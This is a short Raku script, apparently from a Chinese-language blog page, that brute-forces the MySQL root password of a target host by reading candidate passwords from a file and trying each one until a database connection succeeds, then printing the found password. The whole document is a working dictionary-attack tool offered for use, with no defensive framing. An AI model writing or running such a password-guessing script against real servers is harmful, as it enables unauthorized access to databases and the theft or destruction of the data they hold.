sub MAIN(Str $host) {
use DBIish;
my $file = open 'password.txt';
while $file.get -> $line {
my $password = $line.chomp;
say 'Guess: '~$password;
#错误处理
try {
my $dbh = DBIish.connect('mysql', :host($host), :port(3306),
:database<mysql>, :user<root>, :password($password));
if so $dbh {
say 'Done!';
say 'password is ---> '~$password;
exit;
}
CATCH {
default {}
}
}
#处理结束
#当为真时说明连接成功
}
}
效果如下:
请发表评论